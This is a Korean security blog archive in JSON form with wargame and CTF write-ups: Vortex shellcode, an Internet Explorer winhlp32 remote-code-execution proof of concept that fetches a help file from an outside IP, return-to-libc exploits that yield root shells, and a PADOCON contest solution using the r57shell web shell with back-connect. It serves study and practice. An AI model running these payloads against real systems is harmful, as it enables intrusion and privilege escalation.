0363836694e414d0048544150616d2f3d752f3a6e6c2f72736c61636f6168732f6d2f65722f3a6e612f72737572616873616d2f65752f3a6e732f7273657261686e69622f6c69747561642d73692f61742d3638366c2d637078756e69756e672d312e322f616d2f38752f3a6e732f7273657261686363672f7461642d36692f61702d3638696c2d632d78756e2f756e672e342e33616d2f36652f3a6e6a2f63742d617661666e6f63732f6769657473796d762d6d6e616d2f4853002f434c4c453d45444f909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909958316ac38980cd466ac189b080cd586e68520b6868732f69622f2fd189e389540080cd3d4d5245 . . . [생략] . . bash: /home/vortex/vortex5/.bashrc: Permission denied vortex5@games /tmp/byjjoon $ id uid=507(vortex5) gid=506(vortex4) groups=506(vortex4) vortex5@games /tmp/byjjoon $ cat /etc/vortex_pass/vortex5 :4VtbC4lr vortex5@games /tmp/byjjoon $ ","date":"2010-03-03T17:12:35Z","permalink":"/2010/03/03/vortex-level-4/","title":"Vortex - Level 4"},{"content":"금일 인터넷 익스플로러에 대한 새로운 0-Day 취약점이 발표되었네요.\n해당 취약점은 VBScript를 이용하여 Internet Explorer 6, 7, 8의 Windows Help(.hlp)를 호출할 수 있다고 합니다. 이러한 취약점을 이용하여 공격자는 원격지에서 원하는 코드를 실행할 수 있습니다. 게다가 Windows Help 에 대한 오버플로우 취약점 역시 존재 한다고 합니다.\n현재 해당 취약점을 이용하여 실제 공격으로 이루어진 사례는 발견되지 않았지만 웹사이트 방문시 F1키의 입력을 요구한다면 누르지 않도록 주의하기 바랍니다.\n그리고 패치가 나오기 전 아래 명령어를 이용하여 winhlp32.exe 파일에 대한 권한을 변경시켜 임시적으로 예방할 수 있습니다.\n[권한 변경 방법] cacls \u0026quot;%windir%\\winhlp32.exe\u0026quot; /E /P everyone:N\n[패치가 나온 후 복구 방법] cacls \u0026quot;%windir%\\winhlp32.exe\u0026quot; /E /R everyone\n관련 POC 코드\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;html\u0026gt; \u0026lt;script type=\u0026#34;text/vbscript\u0026#34;\u0026gt; big = \u0026#34;\\\\184.73.14.110\\PUBLIC\\test.hlp\u0026#34; //For i=1 to 2500 // big = big \u0026amp; \u0026#34;\\..\\\u0026#34; //Next MsgBox \u0026#34;please press F1 to save the world\u0026#34;, ,\u0026#34;please save the world\u0026#34;, big, 1 MsgBox \u0026#34;press F1 to close this annoying popup\u0026#34;, ,\u0026#34;\u0026#34;, big, 1 MsgBox \u0026#34;press F1 to close this annoying popup\u0026#34;, ,\u0026#34;\u0026#34;, big, 1 \u0026lt;/script\u0026gt; \u0026lt;/html\u0026gt; ","date":"2010-03-02T15:06:09Z","permalink":"/2010/03/02/internet-explorer-winhlp32exe-msgbox-remote-code-execution-vulnerability/","title":"Internet Explorer 'winhlp32.exe' 'MsgBox()' Remote Code Execution Vulnerability"},{"content":"OS : Red Hat Linux 9.0 환경 : 랜덤스택\nRTL 기법은 실행이 불가능한 스택일 경우 가능한 공격입니다. 공격 방법은 우리가 원하는 주소를 libc의 특정 함수로 리턴시켜 원하는 행동을 하도록 하는 것입니다. 그럼 공격을 해보도록 하자. 타켓 파일은 아래와 같습니다.\n1 2 3 4 5 6 int main(int argc, char *argv[]) { char buffer[5]; strcpy(buffer, argv[1]); return 0; } 우선 gdb를 이용하여 system() 함수의 주소를 확인하도록 합니다.\nsystem() 함수의 주소가 0x4203f2c0 인것으로 확인 되었습니다. 이제 환경변수에 \u0026quot;/bin/sh\u0026quot; 문자열을 등록하여 환경변수의 주소를 확인하도록 합니다. 환경변수는 이전에 확인하던 코드를 그대로 사용하여 확인하도록 합니다.\ngetenv.c\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include \u0026lt;stdlib.h\u0026gt; int main(int argc, char *argv[]) { char *addr; if(argc \u0026lt; 2) { printf(\u0026#34;Usage:\\n%s \u0026lt;environment variable=\u0026#34;\u0026#34; name=\u0026#34;\u0026#34;\u0026gt;\\n\u0026#34;, argv[0]); exit(0); } addr = getenv(argv[1]); if(addr == NULL) printf(\u0026#34;The environment variable %s doesn\u0026#39;t exist.\\n\u0026#34;, argv[1]); else printf(\u0026#34;%s is located at %p\\n\u0026#34;, argv[1], addr); return 0; } 위 코드로 환경변수를 확인하지만 주의해야 할 사항이 있습니다. 환경변수의 주소는 실행하는 프로그램의 길이에 따라 다르게 나옵니다. 한번 확인해 보도록 합니다.\n따라서 우리가 공격할 프로그램(vuln.c)을 컴파일 후 파일명을 vuln으로 했다면 4자리기 때문에 맨 아래에 있는 0xbfffff50 주소를 사용해야 할 것입니다. 이제 공격을 해보도록 합니다.\n공격은 다음과 같습니다. [AAAA......] + [system() 주소] + [JUNK] + [\u0026quot;/bin/sh\u0026quot; 주소]\n쉘이 떴습니다. 하지만 setuid에 걸려있는 파일임에도 불구하고 권한이 획득되지 root 권한이 획득되지 않았습니다. 이유는 system() 함수는 실행권한을 낮추어서 실행하기 때문에 그렇다고 합니다.\n그래서 이번에는 execl() 주소를 확인하여 같이 호출하여 공격해 보도록 하자. 공격 방법은 아래와 같습니다.\n[AAAA.....] + [execl() 주소] + [심볼릭 링크 주소 반복]\n먼저 execl() 함수에는 인자를 많이 줘도 상관이 없으나 마지막에는 꼭 0이 들어가야 합니다다. 따라서 0을 넣을 수 있는 방법을 찾아야 합니다.\n0은 GOT (Global Offset Table) 주소를 이용할 수 있습니다. GOT의 끝은 항상 0x00000000 이라고 하네요. 그럼 확인을 해보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 byjjoon@RedHat9 LIB]$ objdump --dynamic-reloc vu vu: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049504 R_386_GLOB_DAT __gmon_start__ 080494fc R_386_JUMP_SLOT __libc_start_main 08049500 R_386_JUMP_SLOT strcpy [byjjoon@RedHat9 LIB]$ gdb -q vu (gdb) b main Breakpoint 1 at 0x804832e (gdb) r Starting program: /home/byjjoon/LIB/vu Breakpoint 1, 0x0804832e in main () (gdb) x/32wx 0x08049500 0x8049500 \u0026lt;_GLOBAL_OFFSET_TABLE_+16\u0026gt;: 0x0804826e 0x00000000 0x00000000 0x00000000 0x8049510: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049520: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049530: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049540: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049550: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049560: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049570: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) x/32wx 0x080494f0 0x80494f0 \u0026lt;_GLOBAL_OFFSET_TABLE_\u0026gt;: 0x08049414 0x40015a38 0x4000bcb0 0x42015490 0x8049500 \u0026lt;_GLOBAL_OFFSET_TABLE_+16\u0026gt;: 0x0804826e 0x00000000 0x00000000 0x00000000 0x8049510: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049520: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049530: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049540: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049550: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049560: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) x/x 0x08049414 0x8049414 \u0026lt;_DYNAMIC\u0026gt;: 0x00000001 (gdb) 심볼릭 링크 주소 : 0x8049414\n이제 인자로 줄 주소를 구했습니다. 그럼 쉘을 띄워주는 코드 작성 후 해당 코드를 작성 후 0x00000001 주소로 심볼릭 링크를 걸어주면 되겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [byjjoon@RedHat9 LIB]$ cat shell.c int main() { setreuid(geteuid(), geteuid()); setregid(getegid(), getegid()); execl(\u0026#34;/bin/bash\u0026#34;, \u0026#34;sh\u0026#34;, 0); } [byjjoon@RedHat9 LIB]$ gcc -o shell shell.c [byjjoon@RedHat9 LIB]$ ln -s shell `python -c \u0026#34;print \u0026#39;\\x01\u0026#39;\u0026#34;` [byjjoon@RedHat9 LIB]$ ls -al 합계 52 lrwxrwxrwx 1 byjjoon byjjoon 5 2월 25 19:06 ? -\u0026gt; shell drwxrwxr-x 2 byjjoon byjjoon 4096 2월 25 19:06 . drwx------ 3 byjjoon byjjoon 4096 2월 21 06:25 .. -rwxrwxr-x 1 byjjoon byjjoon 11995 2월 25 19:06 shell -rw-rw-r-- 1 byjjoon byjjoon 111 2월 21 06:25 shell.c -rwxrwxr-x 1 byjjoon byjjoon 11541 2월 25 18:17 vu -rwsrwsr-x 1 root byjjoon 11541 2월 11 00:36 vuln -rw-rw-r-- 1 byjjoon byjjoon 157 2월 11 00:43 vuln.c [byjjoon@RedHat9 LIB]$ 이제 execl() 함수 주소를 확인하고 바로 공격을 해보도록 합니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 [byjjoon@RedHat9 LIB]$ gdb -q vu (gdb) b main Breakpoint 1 at 0x804832e (gdb) r Starting program: /home/byjjoon/LIB/vu Breakpoint 1, 0x0804832e in main () (gdb) x/x execl 0x420acaa0 \u0026lt;execl\u0026gt;: 0x57e58955 (gdb) r `python -c \u0026#34;print \u0026#39;AAAA\u0026#39;*7 + \u0026#39;\\xa0\\xca\\x0a\\x42\u0026#39; + \u0026#39;\\x14\\x90\\x04\\x08\u0026#39;*100\u0026#34;` Starting program: /home/byjjoon/LIB/vu `python -c \u0026#34;print \u0026#39;AAAA\u0026#39;*7 + \u0026#39;\\xa0\\xca\\x0a\\x42\u0026#39; + \u0026#39;\\x14\\x90\\x04\\x08\u0026#39;*100\u0026#34;` Breakpoint 1, 0x0804832e in main () (gdb) x/32wx $esp 0xbfffea30: 0x42130a14 0x4000c660 0xbfffea48 0x08048362 0xbfffea40: 0x42130a14 0x40015360 0xbfffea68 0x42015574 0xbfffea50: 0x00000003 0xbfffea94 0xbfffeaa4 0x4001582c 0xbfffea60: 0x00000003 0x08048278 0x00000000 0x08048299 0xbfffea70: 0x08048328 0x00000003 0xbfffea94 0x08048358 0xbfffea80: 0x08048388 0x4000c660 0xbfffea8c 0x00000000 0xbfffea90: 0x00000003 0xbffffa93 0xbffffaa8 0xbffffac7 0xbfffeaa0: 0x00000000 0xbffffc59 0xbffffc6a 0xbffffc7a (gdb) 0xbfffeab0: 0xbffffc85 0xbffffc93 0xbffffca3 0xbffffcc5 0xbfffeac0: 0xbffffcd8 0xbffffce5 0xbffffea8 0xbffffeeb 0xbfffead0: 0xbfffff08 0xbfffff14 0xbfffff2a 0xbfffff3f 0xbfffeae0: 0xbfffff50 0xbfffff63 0xbfffff6b 0xbfffff7b 0xbfffeaf0: 0xbfffffb0 0xbfffffd2 0x00000000 0x00000020 0xbfffeb00: 0xffffe000 0x00000010 0x0febfbff 0x00000006 0xbfffeb10: 0x00001000 0x00000011 0x00000064 0x00000003 0xbfffeb20: 0x08048034 0x00000004 0x00000020 0x00000005 (gdb) . . . [생 략] . . . (gdb) 0xbffffa30: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffa40: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffa50: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffa60: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffa70: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffa80: 0x00000000 0x00000000 0x00000000 0x36690000 0xbffffa90: 0x2f003638 0x656d6f68 0x6a79622f 0x6e6f6f6a 0xbffffaa0: 0x42494c2f 0x0075762f 0x41414141 0x41414141 (gdb) 0xbffffab0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffac0: 0x41414141 0x4200caa0 0x08049014 0x08049014 0xbffffad0: 0x08049014 0x08049014 0x08049014 0x08049014 0xbffffae0: 0x08049014 0x08049014 0x08049014 0x08049014 0xbffffaf0: 0x08049014 0x08049014 0x08049014 0x08049014 0xbffffb00: 0x08049014 0x08049014 0x08049014 0x08049014 0xbffffb10: 0x08049014 0x08049014 0x08049014 0x08049014 0xbffffb20: 0x08049014 0x08049014 0x08049014 0x08049014 . . . [생 략] . . . (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x4200caa0 in _r_debug () from /lib/tls/libc.so.6 (gdb) 위 이미지에서 확인하였듯이 execl() 함수의 주소는 0x420acaa0 입니다. 해당 주소를 넣고 공격 후 인자를 확인해 보면 아래와 같습니다. 하지만 0x0a 값이 0x00 으로 들어간 것을 확인할 수 있습니다. 이유를 확인해 본 결과 0x0a는 \\n 라 입력이 안된것입니다.\n1 2 3 4 5 6 7 8 9 \\a Alert (ASCII 0x07) \\b Backspace (ASCII 0x08) \\t Horizontal tab (ASCII 0x09) \\n Linefeed or newline (ASCII 0x0A) \\v Vertical tab (ASCII 0x0B) \\f Form feed (ASCII 0x0C) \\r Carriage return (ASCII 0x0D) NULL (ASCII 0x00) EOF (ASCII 0xFF) 더이상 공격은 힘들것으로 보입니다....하지만 간단하게 해결할 수 있습니다.\n1 2 3 4 5 6 [byjjoon@RedHat9 LIB]$ id uid=500(byjjoon) gid=500(byjjoon) groups=500(byjjoon) [byjjoon@RedHat9 LIB]$ ./vuln \u0026#34;`python -c \u0026#34;print \u0026#39;AAAA\u0026#39;*7 + \u0026#39;\\xa0\\xca\\x0a\\x42\u0026#39; + \u0026#39;\\x14\\x90\\x04\\x08\u0026#39;*100\u0026#34;`\u0026#34; sh-2.05b# id uid=0(root) gid=500(byjjoon) groups=500(byjjoon) sh-2.05b# 위와 같이 0x0a 값을 인자로 주기 위해 양쪽에 더블쿼더로 한번 더 묶어 전달하게 되면 인자로 전달이 됩니다.\n이렇게 간단했었다니 -_-...\n","date":"2010-02-25T13:27:09Z","permalink":"/2010/02/25/rtlreturning-into-libc-%EC%8A%A4%ED%84%B0%EB%94%94/","title":"RTL(Returning into libc) 스터디 - 1"},{"content":"최근에 OS를 64Bit를 깔았다가 뭔가 볼게 있어서 OllyDBG를 열어보니 이상하게 코드가 출력되어 나왔다.\n이유는 64Bit OS 때문이였는데 이걸 어떻게 해결할 수 없을까 찾아보다 Olly Advanced 라는 플러그인에 있는 64비트 호환성 기능을 이용하여 해결할 수 있음을 알 수 있었다.\nOlly Advanced : http://www.openrce.org/downloads/details/241/Olly_Advanced\n플러그인 설치 후 아래와 같이 설정을 하고 나니 정상적으로 코드가 나옴을 확인할 수 있었다.\n","date":"2010-02-23T15:14:16Z","permalink":"/2010/02/23/64bit-os%EC%97%90%EC%84%9C-ollydbg-110-%EC%9D%B4%EC%9A%A9%ED%95%98%EA%B8%B0/","title":"64bit OS에서 OllyDBG 1.10 이용하기"},{"content":"금일 파도콘 컨퍼런스에 가서 라이브 해킹 대회가 있어 msi님이랑 참여하여 우승을 하였습니다 :D 대회에 대한 자세한 풀이를 기록 합니다..\n첫번째 문제 - Zeroboard XE 첫번째 문제는 Zeroboard XE 관련 문제 였습니다. 게시판에 이미지 파일을 하나 올려 확인한 결과 이미지 첨부파일이 위치하는 경로(/public_html/zbxe/files/attach/images)가 디렉토리 인덱싱이 가능한 것을 확인하였습니다.\n따 라서 첨부파일이 위치하는 경로(/public_html/zbxe/files/attach/binaries)도 인덱싱이 될거라 생각하고 확인을 한 결과 인덱싱이 가능한 것을 확인하였습니다. 그래서 r57shell 웹쉘을 업로드 하여 r57shell 기능에 있는 Back-connect 기능을 이용하여 nobody 권한을 획득할 수 있었습니다.\npadocon 바이너리 nobody 권한으로 확인한 결과 /tmp/padocon 바이너리가 padocon 권한으로 setuid가 걸려있는 것을 확인할 수 있었습니다. 이제 /tmp/padocon 바이너리를 분석해 보겠습니다. 바이너리를 다운로드 하여 IDA의 Hex-Ray 플러그인을 이용해 확인해보면 아래와 같습니다.\npadocon() 함수는 아래와 같습니다.\nif문을 우회하여야 하나 생각하다 그냥 단순히 오버플로우 시켜 padocon 함수로 흐름을 이동시키면 될 거라 생각하고 풀이를 시작하였습니다. gdb를 이용하여 padocon() 함수의 주소를 확인한 결과 0x8048414 였습니다.\n이제 공격을 해보도록 하겠습니다.\n권한을 획득 하였습니다.\nlivehack 바이너리 권한 획득 후 /home/padocon 폴더에서 livehack 바이너리 파일이 있는 것을 확인하였습니다. 해당 파일에 livehack 권한의 setuid 가 걸려 있는 것을 확인하였습니다.\n역시 IDA의 Hex-Ray 플러그인을 이용하여 확인하여 보았습니다. 아주 간단하군요?\n비실행 스택이였으므로 RTL 기법을 이용하여 공격이 가능하리라 보고 공격을 시도하였습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 byjjoon@Ubuntu:~/Padocon$ gdb -q livehack (no debugging symbols found) (gdb) disassemble main Dump of assembler code for function main: 0x08048384 \u0026lt;main+0\u0026gt;: push %ebp 0x08048385 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x08048387 \u0026lt;main+3\u0026gt;: sub $0x58,%esp 0x0804838a \u0026lt;main+6\u0026gt;: mov 0xc(%ebp),%eax 0x0804838d \u0026lt;main+9\u0026gt;: add $0x4,%eax 0x08048390 \u0026lt;main+12\u0026gt;: mov (%eax),%eax 0x08048392 \u0026lt;main+14\u0026gt;: mov %eax,0x4(%esp) 0x08048396 \u0026lt;main+18\u0026gt;: lea -0x50(%ebp),%eax 0x08048399 \u0026lt;main+21\u0026gt;: mov %eax,(%esp) 0x0804839c \u0026lt;main+24\u0026gt;: call 0x8048298 \u0026lt;strcpy@plt\u0026gt; 0x080483a1 \u0026lt;main+29\u0026gt;: mov $0x0,%eax 0x080483a6 \u0026lt;main+34\u0026gt;: leave 0x080483a7 \u0026lt;main+35\u0026gt;: ret End of assembler dump. (gdb) b *main+29 Breakpoint 1 at 0x80483a1 (gdb) r AAAABBBBCCCC Starting program: /home/byjjoon/Padocon/livehack AAAABBBBCCCC (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x080483a1 in main () (gdb) x/32wx $ebp 0xbfae3ab8: 0xbfae3b18 0xb7e73685 0x00000002 0xbfae3b44 0xbfae3ac8: 0xbfae3b50 0xb7fc9b38 0x00000001 0x00000001 0xbfae3ad8: 0x00000000 0x080481e8 0xb7fb6ff4 0x080483c0 0xbfae3ae8: 0x080482b0 0xbfae3b18 0x4dd5803e 0xdfcc942e 0xbfae3af8: 0x00000000 0x00000000 0x00000000 0xb7fdd090 0xbfae3b08: 0xb7e735ad 0xb7fe5ff4 0x00000002 0x080482b0 0xbfae3b18: 0x00000000 0x080482d1 0x08048384 0x00000002 0xbfae3b28: 0xbfae3b44 0x080483c0 0x080483b0 0xb7fd7f50 (gdb) x/32wx 0xbfae3b44 0xbfae3b44: 0xbfae596e 0xbfae598d 0x00000000 0xbfae599a 0xbfae3b54: 0xbfae59aa 0xbfae59b5 0xbfae5a06 0xbfae5a28 0xbfae3b64: 0xbfae5a3b 0xbfae5a48 0xbfae5e71 0xbfae5e7d 0xbfae3b74: 0xbfae5eca 0xbfae5ee1 0xbfae5ef0 0xbfae5f0a 0xbfae3b84: 0xbfae5f1b 0xbfae5f24 0xbfae5f3b 0xbfae5f4e 0xbfae3b94: 0xbfae5f56 0xbfae5f66 0xbfae5f9b 0xbfae5fbb 0xbfae3ba4: 0x00000000 0x00000020 0xb7fe4420 0x00000021 0xbfae3bb4: 0xb7fe4000 0x00000010 0x0febfbff 0x00000006 (gdb) x/s 0xbfae596e 0xbfae596e: \u0026#34;/home/byjjoon/Padocon/livehack\u0026#34; (gdb) x/s 0xbfae598d 0xbfae598d: \u0026#34;AAAABBBBCCCC\u0026#34; (gdb) x/32wx $esp 0xbfae3a60: 0xbfae3a68 0xbfae598d 0x41414141 0x42424242 0xbfae3a70: 0x43434343 0x08049500 0xbfae3a88 0x08048265 0xbfae3a80: 0xb7f7a849 0xb7e8be55 0xbfae3ab8 0x080483d9 0xbfae3a90: 0xb7fb6ff4 0xbfae3b50 0xb7fb7ca0 0xb7fb6ff4 0xbfae3aa0: 0xb7fd7f50 0x080482b0 0x00000000 0xb7fb6ff4 0xbfae3ab0: 0x080483c0 0x080482b0 0xbfae3b18 0xb7e73685 0xbfae3ac0: 0x00000002 0xbfae3b44 0xbfae3b50 0xb7fc9b38 0xbfae3ad0: 0x00000001 0x00000001 0x00000000 0x080481e8 ret를 execl() 함수까지 올리기 위한 개수를 확인해 보겠습니다.\nexecl() 함수 주소를 확인을 해보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 byjjoon@Ubuntu:~/Padocon$ gdb -q livehack (no debugging symbols found) (gdb) b main Breakpoint 1 at 0x804838a (gdb) r Starting program: /home/byjjoon/Padocon/livehack (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x0804838a in main () (gdb) x/x execl 0xb7f09450 \u0026lt;execl\u0026gt;: 0x53565755 이제 인자로 넣을 코드를 작성 후 공격을 해보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 byjjoon@Ubuntu:~/Padocon$ cat shell.c int main() { setreuid(geteuid(), geteuid()); setregid(getegid(), getegid()); execl(\u0026#34;/bin/sh\u0026#34;, \u0026#34;sh\u0026#34;, 0); } byjjoon@Ubuntu:~/Padocon$ gcc -o shell shell.c shell.c: In function ‘main’: shell.c:5: warning: incompatible implicit declaration of built-in function ‘execl’ shell.c:5: warning: missing sentinel in function call byjjoon@Ubuntu:~/Padocon$ while(true) ; do ./livehack `python -c \u0026#34;print \u0026#39;AAAABBBB\u0026#39; + \u0026#39;\\xa7\\x83\\x04\\x08\u0026#39;*53 + \u0026#39;\\x50\\x94\\xf0\\xb7\u0026#39; + \u0026#39; ./shell\u0026#39; + \u0026#39; ./shell\u0026#39;\u0026#34;`; done Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault . . [중략] . . Segmentation fault Segmentation fault # id uid=0(root) gid=1000(byjjoon) groups=4(adm),20(dialout),24(cdrom),46(plugdev),108(lpadmin),123(admin),124(sambashare),1000(byjjoon) # 권한을 획득 했습니다. 참고로 위 풀이에서는 shell.c 파일을 컴파일 하여 풀이를 하였지만 실제 대회 서버에서는 gcc 권한이 없어 제 Vmware에 있는 Ubuntu 서버에서 컴파일 한 후 업로드를 하여 풀었습니다. 업로드 시 chmod 명령어 역시 권한이 없어 tar로 묶어 업로드 하여 해제하게 되면 실행권한이 붙어 나오게 됩니다. 이를 이용하여 풀 수 있었습니다.\n마지막으로 이미지를 변경한 모습입니다. 이미지는 msi님의 센스! ㅋ\nPs. 위 설명은 실제 대회 서버가 아닌 대회 후 Ubuntu 8.10 에서 대회 바이너리를 이용하여 한 풀이 입니다. 주소만 조금 다를 뿐 풀이는 같습니다.\n","date":"2010-02-22T12:57:41Z","permalink":"/2010/02/22/padocon-2010-live-hacking-%ED%92%80%EC%9D%B4/","title":"PADOCON 2010 Live Hacking 풀이"},{"content":"PADOCON 2010 CTF가 끝나고 system 문제를 못푼게 한이 되어 공부하고 나서 다시 풀어 기록을 남깁니다.\nSubject : trililogy100 Type : exploitme Examiner : padocon Point : 400\nsshd server ip : 168.188.130.217 id : tril100 pw : 0x170x17\n먼저 문제 서버의 환경을 확인 합니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [tril100@cnuhansa ~]$ python -c \u0026#34;import os ; print os.uname()\u0026#34; (\u0026#39;Linux\u0026#39;, \u0026#39;cnuhansa.cnu.ac.kr\u0026#39;, \u0026#39;2.6.31.12-174.2.3.fc12.i686.PAE\u0026#39;, \u0026#39;#1 SMP Mon Jan 18 20:06:44 UTC 2010\u0026#39;, \u0026#39;i686\u0026#39;) [tril100@cnuhansa ~]$ cat /etc/fedora-release Fedora release 12 (Constantine) [tril100@cnuhansa ~]$ sysctl -a | grep random error: permission denied on key \u0026#39;kernel.cad_pid\u0026#39; kernel.random.poolsize = 4096 kernel.random.entropy_avail = 164 kernel.random.read_wakeup_threshold = 64 kernel.random.write_wakeup_threshold = 128 kernel.random.boot_id = 37e7d57c-3883-4544-81b3-79596828f79f kernel.random.uuid = 11ed57f4-c2d8-429c-bc61-bcae22aae85a kernel.randomize_va_space = 2 [tril100@cnuhansa ~]$ sysctl -a | grep exec error: permission denied on key \u0026#39;kernel.cad_pid\u0026#39; kernel.exec-shield = 1 [tril100@cnuhansa ~]$ OS : Fedora core 12 랜덤 스택\u0026amp;라이브러리 : X 비실행스택 : O\n문제 코드는 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; int main( int argc, char *argv[] ) { char buf[4]; strcpy( buf, argv[1] ); return 0; } 이전 문제가 별로 다를게 없어 보이는 문제 입니다. 하지만 아래와 같이 랜덤 라이브러리 인것을 확인할 수 있습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 [tril100@cnuhansa ~]$ cd tmp [tril100@cnuhansa tmp]$ mkdir byjjoon [tril100@cnuhansa tmp]$ cd byjjoon [tril100@cnuhansa byjjoon]$ cp ../../exploitme ./ [tril100@cnuhansa byjjoon]$ gdb -q exploitme Reading symbols from /home/tril100/tmp/byjjoon/exploitme...(no debugging symbols found)...done. (gdb) b main Breakpoint 1 at 0x80483ca (gdb) r Starting program: /home/tril100/tmp/byjjoon/exploitme Breakpoint 1, 0x080483ca in main () Missing separate debuginfos, use: debuginfo-install glibc-2.11.1-1.i686 (gdb) x/x execl 0xacd330 \u0026lt;execl\u0026gt;: 0x53565755 (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/tril100/tmp/byjjoon/exploitme Breakpoint 1, 0x080483ca in main () (gdb) x/x execl 0xbbd330 \u0026lt;execl\u0026gt;: 0x53565755 (gdb) 랜덤하지만 계속 돌리다 보면 맞아떨어지는 주소가 나올거라 생각하고 계속 진행하도록 하겠습니다. execl() 함수의 주소는 일단 0x00acd330 으로 공격을 하도록 하고 나머지 argv랑 ret 주소를 확인해 보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 [tril100@cnuhansa byjjoon]$ gdb -q exploitme Reading symbols from /home/tril100/tmp/byjjoon/exploitme...(no debugging symbols found)...done. (gdb) disassemble main Dump of assembler code for function main: 0x080483c4 \u0026lt;main+0\u0026gt;: push %ebp 0x080483c5 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x080483c7 \u0026lt;main+3\u0026gt;: sub $0xc,%esp 0x080483ca \u0026lt;main+6\u0026gt;: mov 0xc(%ebp),%eax 0x080483cd \u0026lt;main+9\u0026gt;: add $0x4,%eax 0x080483d0 \u0026lt;main+12\u0026gt;: mov (%eax),%eax 0x080483d2 \u0026lt;main+14\u0026gt;: mov %eax,0x4(%esp) 0x080483d6 \u0026lt;main+18\u0026gt;: lea -0x4(%ebp),%eax 0x080483d9 \u0026lt;main+21\u0026gt;: mov %eax,(%esp) 0x080483dc \u0026lt;main+24\u0026gt;: call 0x80482f4 \u0026lt;strcpy@plt\u0026gt; 0x080483e1 \u0026lt;main+29\u0026gt;: mov $0x0,%eax 0x080483e6 \u0026lt;main+34\u0026gt;: leave 0x080483e7 \u0026lt;main+35\u0026gt;: ret End of assembler dump. (gdb) b *main+29 Breakpoint 1 at 0x80483e1 (gdb) r AAAABBBBCCCC Starting program: /home/tril100/tmp/byjjoon/exploitme AAAABBBBCCCC Breakpoint 1, 0x080483e1 in main () Missing separate debuginfos, use: debuginfo-install glibc-2.11.1-1.i686 (gdb) x/32wx $ebp 0xbffff698: 0x42424242 0x43434343 0x00000000 0xbffff744 0xbffff6a8: 0xbffff750 0xb7fff3d0 0x08048310 0xffffffff 0xbffff6b8: 0x007dafc4 0x0804822c 0x00000001 0xbffff700 0xbffff6c8: 0x007ca365 0x007dba98 0xb7fff6a8 0x00addff4 0xbffff6d8: 0x00000000 0x00000000 0xbffff718 0x11c6948b 0xbffff6e8: 0xde5d23f5 0x00000000 0x00000000 0x00000000 0xbffff6f8: 0x00000002 0x08048310 0x00000000 0x007d0630 0xbffff708: 0x00983adb 0x007dafc4 0x00000002 0x08048310 (gdb) x/32wx 0xbffff744 0xbffff744: 0xbffff878 0xbffff89c 0x00000000 0xbffff8a9 0xbffff754: 0xbffff8c5 0xbffff8dd 0xbffff8ed 0xbffff8f8 0xbffff764: 0xbffff906 0xbffff926 0xbffff941 0xbffff954 0xbffff774: 0xbffff961 0xbffffe60 0xbffffe6c 0xbffffeae 0xbffff784: 0xbffffecb 0xbffffeda 0xbffffef8 0xbfffff09 0xbffff794: 0xbfffff22 0xbfffff2b 0xbfffff42 0xbfffff55 0xbffff7a4: 0xbfffff5d 0xbfffff6d 0xbfffffa1 0xbfffffc3 0xbffff7b4: 0x00000000 0x00000020 0x0074a414 0x00000021 (gdb) x/s 0xbffff878 0xbffff878: \u0026#34;/home/tril100/tmp/byjjoon/exploitme\u0026#34; (gdb) x/s 0xbffff89c 0xbffff89c: \u0026#34;AAAABBBBCCCC\u0026#34; (gdb) x/32wx $esp 0xbffff68c: 